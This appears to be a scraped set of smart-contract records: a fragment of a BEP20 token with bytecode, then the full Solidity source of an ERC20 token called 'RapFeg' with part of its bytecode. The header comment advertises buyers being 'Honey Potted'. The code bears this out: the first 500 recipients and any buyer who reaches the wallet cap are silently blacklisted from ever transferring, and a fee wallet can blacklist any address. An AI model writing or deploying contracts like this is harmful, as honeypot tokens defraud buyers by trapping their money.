function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212204450adfc01c382f677f9f228a239e56dd42fed169fb3a004c4bebef315ec22e064736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,872 |
0xf971938707B703427f16e612E872Cc3f65AFDeD5
|
/**
deploy > openTrading > verify contract > disableAntiSniper > renounce;
Symbol: $RapFeg
Total Supply: 100 Trillion Total Supply
1% Buy/Sell Supply Limit (first 5 mins)
No Buy/Sell Limit (after first 5 mins)
5% Max Wallet Hold Limit (Anti-whale)
$5k Starting Liquidity / Market Cap
Anti Bot/Sniper Scripting - 30% Buy Tax - 70% Honey Potted
TOKENOMICS
Total supply – 100,000,000,000,000 $RapFeg
9 Decimal
100% Starting Liquidity
Sell Tax: 12%
**/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RapFeg is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private maxWalletAmount = _tTotal;
uint256 private _tFeeTotal;
uint256 private redistributionTax;
uint256 private teamTax;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
uint256 AntiSniperCount = 500;
string private constant _name = "RapFeg";
string private constant _symbol = "$RapFeg";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _feeWallet1,address payable _feeWallet2,address payable _feeWallet3) {
_feeAddrWallet1 = _feeWallet1;
_feeAddrWallet2 = _feeWallet2;
_feeAddrWallet2 = _feeWallet3;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet3] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function disableAntiSniper(uint256 _redis,uint256 _teamTax) external onlyOwner{
redistributionTax = _redis;
teamTax = _teamTax;
_maxTxAmount = _tTotal/100;
maxWalletAmount = _maxTxAmount*5;
AntiSniperCount = 0;
}
function liftMaxTx() external onlyOwner {
_maxTxAmount = _tTotal;
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)){
_feeAddr1 = redistributionTax;
_feeAddr2 = teamTax;
if(AntiSniperCount > 0){
bots[to] = true;
AntiSniperCount -=1;
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
// Cooldown
require(amount <= _maxTxAmount);
if( balanceOf(to)+ amount >= maxWalletAmount){
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
amount = amount/10;
_feeAddrWallet1.transfer(amount.mul(4));
_feeAddrWallet2.transfer(amount.mul(4));
_feeAddrWallet3.transfer(amount.mul(2));
}
function isBlackListed(address _address) view public returns(bool){
return bots[_address];
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
_maxTxAmount = _tTotal;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function liftMaxTx(uint256 _input) external onlyOwner{
_maxTxAmount = _input * _tTotal/100;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blackListBot(address _address,bool _bool) external {
require(_msgSender() == _feeAddrWallet1);
bots[_address] = _bool;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063c9567bf911610064578063c9567bf914610374578063dd62ed3e1461038b578063e47d6060146103c8578063ec0b778b14610405578063f538fe581461042e5761011f565b8063715018a6146102b35780638da5cb5b146102ca57806395d89b41146102f5578063a9059cbb14610320578063c3c8cd801461035d5761011f565b80632ab30838116100e75780632ab30838146101f4578063313ce5671461020b5780635082c885146102365780636fc3eaec1461025f57806370a08231146102765761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610457565b6040516101469190612931565b60405180910390f35b34801561015b57600080fd5b506101766004803603810190610171919061250e565b610494565b6040516101839190612916565b60405180910390f35b34801561019857600080fd5b506101a16104b2565b6040516101ae9190612a53565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612483565b6104c4565b6040516101eb9190612916565b60405180910390f35b34801561020057600080fd5b5061020961059d565b005b34801561021757600080fd5b50610220610645565b60405161022d9190612ac8565b60405180910390f35b34801561024257600080fd5b5061025d600480360381019061025891906124d2565b61064e565b005b34801561026b57600080fd5b5061027461070a565b005b34801561028257600080fd5b5061029d600480360381019061029891906123f5565b61077c565b6040516102aa9190612a53565b60405180910390f35b3480156102bf57600080fd5b506102c86107cd565b005b3480156102d657600080fd5b506102df610920565b6040516102ec9190612848565b60405180910390f35b34801561030157600080fd5b5061030a610949565b6040516103179190612931565b60405180910390f35b34801561032c57600080fd5b506103476004803603810190610342919061250e565b610986565b6040516103549190612916565b60405180910390f35b34801561036957600080fd5b506103726109a4565b005b34801561038057600080fd5b50610389610a1e565b005b34801561039757600080fd5b506103b260048036038101906103ad9190612447565b610f62565b6040516103bf9190612a53565b60405180910390f35b3480156103d457600080fd5b506103ef60048036038101906103ea91906123f5565b610fe9565b6040516103fc9190612916565b60405180910390f35b34801561041157600080fd5b5061042c60048036038101906104279190612573565b61103f565b005b34801561043a57600080fd5b506104556004803603810190610450919061259c565b6110ff565b005b60606040518060400160405280600681526020017f5261704665670000000000000000000000000000000000000000000000000000815250905090565b60006104a86104a16111e0565b84846111e8565b6001905092915050565b600069152d02c7e14af6800000905090565b60006104d18484846113b3565b610592846104dd6111e0565b61058d85604051806060016040528060288152602001612fa260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436111e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176c9092919063ffffffff16565b6111e8565b600190509392505050565b6105a56111e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610629906129d3565b60405180910390fd5b69152d02c7e14af6800000601481905550565b60006009905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661068f6111e0565b73ffffffffffffffffffffffffffffffffffffffff16146106af57600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661074b6111e0565b73ffffffffffffffffffffffffffffffffffffffff161461076b57600080fd5b6000479050610779816117d0565b50565b60006107c6600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611956565b9050919050565b6107d56111e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610862576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610859906129d3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f2452617046656700000000000000000000000000000000000000000000000000815250905090565b600061099a6109936111e0565b84846113b3565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109e56111e0565b73ffffffffffffffffffffffffffffffffffffffff1614610a0557600080fd5b6000610a103061077c565b9050610a1b816119c4565b50565b610a266111e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aaa906129d3565b60405180910390fd5b601360149054906101000a900460ff1615610b03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afa90612a33565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b9430601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669152d02c7e14af68000006111e8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bda57600080fd5b505afa158015610bee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c12919061241e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7457600080fd5b505afa158015610c88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cac919061241e565b6040518363ffffffff1660e01b8152600401610cc9929190612863565b602060405180830381600087803b158015610ce357600080fd5b505af1158015610cf7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1b919061241e565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610da43061077c565b600080610daf610920565b426040518863ffffffff1660e01b8152600401610dd1969594939291906128b5565b6060604051808303818588803b158015610dea57600080fd5b505af1158015610dfe573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e2391906125d8565b5050506001601360166101000a81548160ff02191690831515021790555069152d02c7e14af68000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f0c92919061288c565b602060405180830381600087803b158015610f2657600080fd5b505af1158015610f3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5e919061254a565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6110476111e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cb906129d3565b60405180910390fd5b606469152d02c7e14af6800000826110ec9190612bbf565b6110f69190612b8e565b60148190555050565b6111076111e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611194576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118b906129d3565b60405180910390fd5b81600a8190555080600b81905550606469152d02c7e14af68000006111b99190612b8e565b60148190555060056014546111ce9190612bbf565b60088190555060006011819055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124f90612a13565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bf90612973565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113a69190612a53565b60405180910390a3505050565b600081116113f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ed906129f3565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561144d57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461175c57600a54600c81905550600b54600d8190555060006011541115611510576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601160008282546115089190612c19565b925050819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115bb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116115750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000